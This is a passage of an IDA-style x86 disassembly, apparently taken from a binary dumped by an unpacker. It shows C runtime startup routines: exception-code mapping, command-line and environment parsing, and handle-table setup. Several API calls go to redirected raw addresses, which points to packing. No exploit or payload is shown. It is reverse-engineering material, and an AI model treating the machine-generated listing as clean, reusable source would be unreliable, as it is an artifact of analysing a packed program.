		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C97C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C97C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C97C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C97C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C97C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C97C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C97C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C97C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB380, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2620000h
		nop

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8F8, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC954, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC94C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB318
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2D0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB318
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB318
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB318, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC950, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC94C
		mov	off_4DB2E0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB2C8, esi
		pop	edi
		pop	esi
		mov	dword_4DB2C4, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB488
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB488, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		call	near ptr 2610B4Eh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB488, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2610DEAh
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2610B4Eh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2610E17h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC600, esi
		mov	dword_4DC700, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC600
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC700, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC604

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC700, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC700, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC700

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC600
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26107E1h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC700
		nop
		call	near ptr 2610A50h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2F4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB48C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C988

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43CA18
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C988[esi]
		jnz	loc_423719
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2F4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
